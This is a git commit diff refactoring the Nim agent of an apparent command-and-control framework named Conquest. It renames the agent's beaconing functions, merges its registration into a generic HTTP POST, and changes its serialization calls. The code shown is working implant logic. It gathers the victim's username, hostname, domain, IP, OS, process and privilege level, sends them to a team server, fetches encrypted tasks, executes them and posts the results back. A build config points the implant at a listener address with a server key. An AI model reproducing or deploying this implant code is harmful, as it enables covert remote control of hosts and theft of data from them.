Refactored utility functions to make them more readable and removed separate register endpoint.

This commit is contained in:
Jakob Friedl
2025-08-14 12:25:06 +02:00
parent ee93445739
commit e403ac1c07
21 changed files with 126 additions and 159 deletions

View File

@@ -21,7 +21,7 @@ proc createHeartbeat*(config: AgentConfig): Heartbeat =
proc serializeHeartbeat*(config: AgentConfig, request: var Heartbeat): seq[byte] =
var packer = initPacker()
var packer = Packer.init()
# Serialize check-in / heartbeat request
packer

View File

@@ -4,32 +4,7 @@ import ../../common/[types, utils]
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
proc register*(config: AgentConfig, registrationData: seq[byte]): bool {.discardable.} =
let client = newAsyncHttpClient(userAgent = USER_AGENT)
# Define HTTP headers
client.headers = newHttpHeaders({
"Content-Type": "application/octet-stream",
"Content-Length": $registrationData.len
})
let body = registrationData.toString()
try:
# Register agent to the Conquest server
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/register", body)
except CatchableError as err:
echo "[-] [register]:", err.msg
quit(0)
finally:
client.close()
return true
proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string =
proc httpGet*(config: AgentConfig, checkinData: seq[byte]): string =
let client = newAsyncHttpClient(userAgent = USER_AGENT)
var responseBody = ""
@@ -43,40 +18,38 @@ proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string =
try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/tasks")
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/get")
return responseBody
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [getTasks]: " & err.msg
echo "[-] " & err.msg
finally:
client.close()
return ""
proc postResults*(config: AgentConfig, resultData: seq[byte]): bool {.discardable.} =
proc httpPost*(config: AgentConfig, data: seq[byte]): bool {.discardable.} =
let client = newAsyncHttpClient(userAgent = USER_AGENT)
# Define headers
client.headers = newHttpHeaders({
"Content-Type": "application/octet-stream",
"Content-Length": $resultData.len
"Content-Length": $data.len
})
let body = resultData.toString()
echo body
let body = Bytes.toString(data)
try:
# Send binary task result data to server
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/results", body)
# Send post request to team server
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/post", body)
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [postResults]: " & err.msg
echo "[-] " & err.msg
return false
finally:
client.close()

View File

@@ -209,12 +209,12 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
agentPublicKey: config.agentPublicKey,
metadata: AgentMetadata(
listenerId: uuidToUint32(config.listenerId),
username: getUsername().toBytes(),
hostname: getHostname().toBytes(),
domain: getDomain().toBytes(),
ip: getIPv4Address().toBytes(),
os: getOSVersion().toBytes(),
process: getProcessExe().toBytes(),
username: string.toBytes(getUsername()),
hostname: string.toBytes(getHostname()),
domain: string.toBytes(getDomain()),
ip: string.toBytes(getIPv4Address()),
os: string.toBytes(getOSVersion()),
process: string.toBytes(getProcessExe()),
pid: cast[uint32](getProcessId()),
isElevated: cast[uint8](isElevated()),
sleep: cast[uint32](config.sleep)
@@ -223,7 +223,7 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistrationData): seq[byte] =
var packer = initPacker()
var packer = Packer.init()
# Serialize registration data
packer

View File

@@ -6,12 +6,12 @@ import ../../common/[types, serialize, sequence, crypto, utils]
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
try:
return getCommandByType(cast[CommandType](task.command)).execute(config, task)
except CatchableError:
echo "[-] Command not found."
except CatchableError as err:
echo "[-] Invalid command. " & err.msg
proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
var unpacker = initUnpacker(bytes.toString)
var unpacker = Unpacker.init(Bytes.toString(bytes))
let header = unpacker.deserializeHeader()
@@ -23,7 +23,7 @@ proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
let decData= validateDecryption(config.sessionKey, header.iv, payload, header.seqNr, header)
# Deserialize decrypted data
unpacker = initUnpacker(decData.toString)
unpacker = Unpacker.init(Bytes.toString(decData))
let
taskId = unpacker.getUint32()
@@ -54,7 +54,7 @@ proc deserializePacket*(config: AgentConfig, packet: string): seq[Task] =
result = newSeq[Task]()
var unpacker = initUnpacker(packet)
var unpacker = Unpacker.init(packet)
var taskCount = unpacker.getUint8()
echo fmt"[*] Response contained {taskCount} tasks."

View File

@@ -6,7 +6,7 @@ proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, r
header: Header(
magic: MAGIC,
version: VERSION,
packetType: cast[uint8](MSG_RESPONSE),
packetType: cast[uint8](MSG_RESULT),
flags: cast[uint16](FLAG_ENCRYPTED),
size: 0'u32,
agentId: task.header.agentId,
@@ -26,7 +26,7 @@ proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, r
proc serializeTaskResult*(config: AgentConfig, taskResult: var TaskResult): seq[byte] =
var packer = initPacker()
var packer = Packer.init()
# Serialize result body
packer

View File

@@ -61,7 +61,9 @@ proc main() =
var registration: AgentRegistrationData = config.collectAgentMetadata()
let registrationBytes = config.serializeRegistrationData(registration)
config.register(registrationBytes)
if not config.httpPost(registrationBytes):
echo "[-] Agent registration failed."
quit(0)
echo fmt"[+] [{config.agentId}] Agent registered."
#[
@@ -86,16 +88,16 @@ proc main() =
var heartbeat: Heartbeat = config.createHeartbeat()
let
heartbeatBytes: seq[byte] = config.serializeHeartbeat(heartbeat)
packet: string = config.getTasks(heartbeatBytes)
packet: string = config.httpGet(heartbeatBytes)
if packet.len <= 0:
echo "No tasks to execute."
echo "[*] No tasks to execute."
continue
let tasks: seq[Task] = config.deserializePacket(packet)
if tasks.len <= 0:
echo "No tasks to execute."
echo "[*] No tasks to execute."
continue
# Execute all retrieved tasks and return their output to the server
@@ -103,7 +105,7 @@ proc main() =
var result: TaskResult = config.handleTask(task)
let resultBytes: seq[byte] = config.serializeTaskResult(result)
config.postResults(resultBytes)
config.httpPost(resultBytes)
except CatchableError as err:
echo "[-] ", err.msg

View File

@@ -1,9 +1,9 @@
# Agent configuration
-d:ListenerUuid="58A66E35"
-d:ListenerUuid="7147A315"
-d:Octet1="127"
-d:Octet2="0"
-d:Octet3="0"
-d:Octet4="1"
-d:ListenerPort=5555
-d:SleepDelay=5
-d:ServerPublicKey="OzczGQndMRzmaVcJo5USBBSrk76FsNlU8SNzCGbyVgo="
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="